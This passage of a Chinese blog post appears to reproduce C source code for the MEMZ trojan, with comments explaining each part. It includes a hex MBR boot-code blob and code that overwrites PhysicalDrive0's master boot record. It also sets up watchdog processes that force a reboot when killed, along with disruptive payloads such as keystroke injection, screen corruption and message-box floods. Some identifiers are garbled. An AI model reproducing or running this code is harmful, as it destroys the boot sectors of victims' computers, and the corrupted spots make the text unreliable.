0x80, 0xF1, 0x2C, 0x7B, 0x31, 0x08, 0x4A, 0xFF, 0x57, 0x90, 0x97, 0x5C,
0xD1, 0x4F, 0x5D, 0x22, 0x4F, 0x87, 0x7E, 0x27, 0x12, 0x27, 0x4C, 0x46,
0xB8, 0x44, 0x5D, 0xC0, 0x05, 0x8E, 0x26, 0xB8, 0x24, 0x34, 0x24, 0xBF,
0x23, 0x34, 0x24, 0x00, 0x25, 0xB8, 0x44, 0x4C, 0x46, 0x5D, 0xC0, 0x08,
0x5D, 0xD4, 0x05, 0xA0, 0x24, 0x34, 0x24, 0x89, 0x23, 0xBF, 0x23, 0x89,
0x23, 0x34, 0x24, 0x4C, 0x46, 0x9D, 0x45, 0x7E, 0x27, 0x7E, 0x27, 0x70,
0x49, 0xF0, 0x27, 0x68, 0x28, 0x70, 0x29, 0x70, 0x69, 0x68, 0x48, 0xF0,
0x47, 0x5D, 0xFE, 0x06, 0x87, 0x68, 0x28, 0x7E, 0x27, 0x4C, 0x26, 0x9D,
0x25, 0x5E, 0x12, 0x04, 0x5E, 0x10, 0x04, 0x5E, 0x0E, 0x04, 0x85, 0x70,
0x29, 0x7E, 0x47, 0x4C, 0x46, 0x5E, 0x16, 0x0C, 0x83, 0xF0, 0x27, 0x7E,
0x27, 0x5E, 0x0A, 0x08, 0x81, 0xF0, 0x47, 0x5E, 0x0E, 0x08, 0x5E, 0x46,
0x04, 0x5E, 0x3C, 0x05, 0x84, 0x48, 0x70, 0x49, 0x68, 0x48, 0x5D, 0xF4,
0x66, 0x85, 0x70, 0x49, 0x99, 0x2C, 0x39, 0x2B, 0x5E, 0xC0, 0x06, 0x5E,
0xAA, 0x06, 0x83, 0x70, 0x29, 0x12, 0x27, 0x5D, 0xC8, 0x06, 0x81, 0x70,
0x49, 0x5E, 0xC6, 0x08, 0x81, 0x99, 0x2C, 0x5E, 0xD4, 0x04, 0x5E, 0xB6,
0x04, 0x87, 0x99, 0x2C, 0xFB, 0x2E, 0x24, 0x2E, 0x99, 0x2C, 0x5E, 0xC0,
0x0E, 0x5E, 0xCC, 0x08, 0x5F, 0x00, 0x04, 0x5E, 0xF6, 0x04, 0x83, 0x70,
0x29, 0x00, 0x2A, 0x5F, 0x0C, 0x06, 0x5E, 0xD2, 0x0C, 0x81, 0x00, 0x4A,
0x5E, 0xC0, 0x6C, 0xBC, 0x68, 0x48, 0x59, 0x6F, 0x75, 0x72, 0x20, 0x63,
0x6F, 0x6D, 0x70, 0x75, 0x74, 0x65, 0x72, 0x20, 0x68, 0x61, 0x73, 0x20,
0x62, 0x65, 0x65, 0x6E, 0x20, 0x74, 0x72, 0x61, 0x73, 0x68, 0x65, 0x64,
0x20, 0x62, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x4D, 0x45, 0x4D, 0x5A,
0x20, 0x74, 0x72, 0x6F, 0x6A, 0x61, 0x6E, 0x2E, 0x20, 0x4E, 0x6F, 0x77,
0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x5F, 0xBC, 0x06, 0x8A, 0x4E, 0x79, 0x61,
0x6E, 0x20, 0x43, 0x61, 0x74, 0x2E, 0x2E, 0x2E
};
//创建要使用的函数以及变量和指针，这样可以使后面的代码简洁明了，
int random();
void strReverseW(LPWSTR str);
DWORD WINAPI payloadThread(LPVOID);
DWORD WINAPI watchdogThread(LPVOID parameter);
int payloadExecute(int, int);
int payloadCursor(int, int);
int payloadBlink(int, int);
int payloadMessageBox(int, int);
DWORD WINAPI messageBoxThread(LPVOID);
LRESULT CALLBACK msgBoxHook(int, WPARAM, LPARAM);
int payloadChangeText(int, int);
BOOL CALLBACK EnumWindowProc(HWND hwnd, LPARAM lParam);
int payloadSound(int, int);
int payloadPuzzle(int, int);
int payloadKeyboard(int, int);
int payloadPIP(int, int);
HCRYPTPROV prov;
int scrw, scrh;
void main() {
scrw = GetSystemMetrics(SM_CXSCREEN);
scrh = GetSystemMetrics(SM_CYSCREEN);//获得电脑窗口大小，分辨率，防止不同电脑不匹配
int argc;
LPWSTR *argv = CommandLineToArgvW(GetCommandLineW(), &argc);
//写入watchdog进程监视狗，并创建几个进程监视。
if (argc > 1) {
if (!lstrcmpW(argv[1], L"/watchdog")) {
CreateThread(NULL, NULL, &watchdogThread, NULL, NULL, NULL);
for (;;) {
Sleep(10000);
}
}
} else {
char *fn = (char *)LocalAlloc(LMEM_ZEROINIT, 8192);
GetModuleFileNameA(NULL, fn, 8192);
for (int i = 0; i < 3; i++)
ShellExecuteA(NULL, NULL, fn, "/watchdog", NULL, SW_SHOWDEFAULT);
SHELLEXECUTEINFO info;
info.cbSize = sizeof(SHELLEXECUTEINFO);
info.lpFile = fn;
info.lpParameters = "/main";
info.fMask = SEE_MASK_NOCLOSEPROCESS;
info.hwnd = NULL;
info.lpVerb = NULL;
info.lpDirectory = NULL;
info.hInstApp = NULL;
info.nShow = SW_SHOWDEFAULT;
ShellExecuteEx(&info);
SetPriorityClass(info.hProcess, HIGH_PRIORITY_CLASS);
ExitProcess(0);
}
if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT))
ExitProcess(1);
//向MBR里写入内容，真正破坏电脑启动的代码
HANDLE drive = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
if (drive == INVALID_HANDLE_VALUE)
ExitProcess(2);
unsigned char *bootcode = (unsigned char *)LocalAlloc(LMEM_ZEROINIT, 65536);
// Join the two code parts together
int i = 0;
for (; i < sizeof(code1); i++)
*(bootcode + i) = *(code1 + i);
for (i = 0; i < sizeof(code2); i++)
*(bootcode + i + 0x1fe) = *(code2 + i);
DWORD wb;
if (!WriteFile(drive, bootcode, 65536, &wb, NULL))
ExitProcess(3);
CloseHandle(drive);
//创建一个名叫note的TXT文件，并写入内容再打开
HANDLE note = CreateFile("\\note.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (note == INVALID_HANDLE_VALUE)
ExitProcess(4);
if (!WriteFile(note, msg, sizeof(msg), &wb, NULL))
ExitProcess(5);
CloseHandle(note);
ShellExecuteA(NULL, NULL, "notepad", "\\note.txt", NULL, SW_SHOWDEFAULT);
Sleep(30000);
CreateThread(NULL, NULL, &payloadThread, &payloadExecute, NULL, NULL);//随机弹出奇怪的网站与程序
Sleep(40000);
CreateThread(NULL, NULL, &payloadThread, &payloadCursor, NULL, NULL);//鼠标鬼畜
Sleep(20000);
CreateThread(NULL, NULL, &payloadThread, &payloadKeyboard, NULL, NULL);//键盘随机输入
Sleep(60000);
CreateThread(NULL, NULL, &payloadThread, &payloadSound, NULL, NULL);//播放错误声音
Sleep(30000);
CreateThread(NULL, NULL, &payloadThread, &payloadBlink, NULL, NULL);//反转电脑屏幕颜色（黑改成白）这样的
Sleep(20000);
CreateThread(NULL, NULL, &payloadThread, &payloadMessageBox, NULL, NULL);//随机弹窗
Sleep(40000);
CreateThread(NULL, NULL, &payloadThread, &payloadChangeText, NULL, NULL);//反转电脑窗口文字
Sleep(80000);
CreateThread(NULL, NULL, &payloadThread, &payloadPIP, NULL, NULL);//屏幕叠加（二次元通道）
Sleep(15000);
CreateThread(NULL, NULL, &payloadThread, &payloadPuzzle, NULL, NULL);//屏幕切片错位
//值得注意的是上述代码是通过创建线程实现的，可以在同一时间运行不同函数叠加
for (;;) {
Sleep(10000);
}
ExitProcess(-1);
}
//watchdog主体函数，具体的我也不大清楚
DWORD WINAPI watchdogThread(LPVOID parameter) {
int oproc = 0;
char *fn = (char *)LocalAlloc(LMEM_ZEROINIT, 512);
GetProcessImageFileNameA(GetCurrentProcess(), fn, 512);
Sleep(1000);
for (;;) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32 proc;
proc.dwSize = sizeof(proc);
Process32First(snapshot, &proc);
int nproc = 0;
do {
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, proc.th32ProcessID);
char *fn2 = (char *)LocalAlloc(LMEM_ZEROINIT, 512);
GetProcessImageFileNameA(hProc, fn2, 512);
if (!lstrcmpA(fn, fn2)) {
nproc++;
}
CloseHandle(hProc);
LocalFree(fn2);
} while (Process32Next(snapshot, &proc));
CloseHandle(snapshot);
if (nproc < oproc) {
HANDLE token;
TOKEN_PRIVILEGES privileges;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &privileges.Privileges[0].Luid);
privileges.PrivilegeCount = 1;
privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token, FALSE, &privileges, 0, (PTOKEN_PRIVILEGES)NULL, 0);
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, SHTDN_REASON_MAJOR_HARDWARE | SHTDN_REASON_MINOR_DISK);
}
oproc = nproc;
Sleep(10);
}
}
//控制特效运行时间
DWORD WINAPI payloadThread(LPVOID parameter) {
int delay = 0;
int times = 0;
int runtime = 0;
int(*function)(int, int) = (int(*)(int, int))parameter;
for (;;) {
if (delay-- == 0) {
delay = (*function)(times++, runtime);
}
runtime++;
Sleep(10);
}
}
//随机打开网站
int payloadExecute(int times, int runtime) {
ShellExecuteA(NULL, "open", (LPCSTR)sites[random() % (sizeof(sites) / sizeof(void*))], NULL, NULL, SW_SHOWDEFAULT);//这里使用random()随机打开网站
return 1500.0 / (times / 15.0 + 1) + 100 + (random() % 200);
}
//反色
int payloadBlink(int times, int runtime) {
HWND hwnd = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
RECT rekt;
GetWindowRect(hwnd, &rekt);//获取窗口句柄
BitBlt(hdc, 0, 0, rekt.right - rekt.left, rekt.bottom - rekt.top, hdc, 0, 0, NOTSRCCOPY);
/*使用BitBlt(x,y,nWidth,nHeight,hSrcDC,xSrc,ySrc,dwRop)函数，存在于wingdi32头文件中，最后一个参数NOTSRCCOPY表示对区域颜色取反并拷贝*/
ReleaseDC(hwnd, hdc);
return 100;
}
//鼠标鬼畜
int payloadCursor(int times, int runtime) {
POINT cursor;
GetCursorPos(&cursor);//获得当前鼠标位置
SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (runtime / 2200 + 1)), cursor.y + (random() % 3 - 1) * (random() % (runtime / 2200 + 1)));、、通过设置鼠标位置来造成鼠标乱动的效果
return 2;
}
int payloadMessageBox(int times, int runtime) {
CreateThread(NULL, 4096, &messageBoxThread, NULL, NULL, NULL);
//创建对话框
return 2000.0 / (times / 10.0 + 1) + 100 + (random() % 120);
}
DWORD WINAPI messageBoxThread(LPVOID parameter) {
HHOOK hook = SetWindowsHookEx(WH_C喵, msgBoxHook, 0, GetCurrentThreadId());//使用钩子来设置弹窗位置
MessageBoxW(NULL, L"Still using this computer?", L"lol", MB_SYSTEMMODAL | MB_OK | MB_ICONWARNING);//弹窗标题为[LOL]（大笑）,参数为[MB_ICONWARNING]（黄色三角警告图标），按钮参数为[MB_OK]（包含一个确认按钮），内容为[Still using this computer?]（还在使用这台电脑？）
UnhookWindowsHookEx(hook);
return 0;
}
//随机弹窗的位置，如果不设置的话无法做到满屏都是弹窗
LRESULT CALLBACK msgBoxHook(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC喵_CREATEWND) {
CREATESTRUCT *pcs = ((C喵_CREATEWND *)lParam)->lpcs;
if ((pcs->style & WS_DLGFRAME) || (pcs->style & WS_POPUP)) {
HWND hwnd = (HWND)wParam;
int x = random() % (scrw - pcs->cx);
int y = random() % (scrh - pcs->cy);
pcs->x = x;
pcs->y = y;
}
}
return CallNextHookEx(0, nCode, wParam, lParam);
}
int payloadChangeText(int times, int runtime) {
EnumChildWindows(NULL, &EnumWindowProc, NULL);
//反转文字，引用下一个函数
return 50;
}
//反转文字
BOOL CALLBACK EnumWindowProc(HWND hwnd, LPARAM lParam) {
EnumChildWindows(hwnd, &EnumWindowProc, NULL);
LPWSTR str = (LPWSTR)GlobalAlloc(GMEM_ZEROINIT, sizeof(WCHAR) * 8192);
SendMessageW(hwnd, WM_GETTEXT, 8192, (LPARAM)str);
strReverseW(str);
SendMessageW(hwnd, WM_SETTEXT, NULL, (LPARAM)str);
GlobalFree(str);
return TRUE;
}//播放错误音乐
int payloadSound(int times, int runtime) {
/*使用PlaySoundA函数播放系统"SystemHand"错误音乐*/
PlaySoundA("SystemHand", NULL, SND_ASYNC);
return 20 + (random() % 20);
}
//屏幕错位，代码与反色同理
int payloadPuzzle(int times, int runtime) {
HWND hwnd = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
RECT rekt;
GetWindowRect(hwnd, &rekt);
int x1 = random() % (rekt.right - 100);
int y1 = random() % (rekt.bottom - 100);
int x2 = random() % (rekt.right - 100);
int y2 = random() % (rekt.bottom - 100);
int width = random() % 600;
int height = random() % 600;
BitBlt(hdc, x1, y1, width, height, hdc, x2, y2, SRCCOPY);//SRCCOPY是直接拷贝到源矩形
ReleaseDC(hwnd, hdc);
return 200.0 / (times / 5.0 + 1) + 5;
}
//随机输入，通过监视键盘事件来改变输入
int payloadKeyboard(int times, int runtime) {
// TODO Fix only 5 bug
INPUT input;
input.type = INPUT_KEYBOARD;
input.ki.wVk = (random() % (0x5a - 0x30)) + 0x30;
SendInput(1, &input, sizeof(INPUT));
return 300 + (random() % 400);
}
//异次元通道，代码与反色同理
int payloadPIP(int times, int runtime) {
HWND hwnd = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
RECT rekt;
GetWindowRect(hwnd, &rekt);
StretchBlt(hdc, 50, 50, rekt.right-100, rekt.bottom-100, hdc, 0, 0, rekt.right, rekt.bottom, SRCCOPY);
ReleaseDC(hwnd, hdc);
return 200.0 / (times / 5.0 + 1) + 5;
}
//注意前面的random()函数不是直接引用，而是手写的！！！
int random() {
int out;
CryptGenRandom(prov, sizeof(out), (BYTE *)(&out));
return out & 0x7fffffff;
}
void strReverseW(LPWSTR str) {
int len = lstrlenW(str);
WCHAR c;
int i, j;
for (i = 0, j = len - 1; i < j; i++, j--)
{
c = str[i];
str[i] = str[j];
str[j] = c;
}
}
标签：彩虹,
bat,
0x04,
0x05,
代码,
0x00,
0x03,
int,
NULL
From： https://blog.51cto.com/u_16286848/7816267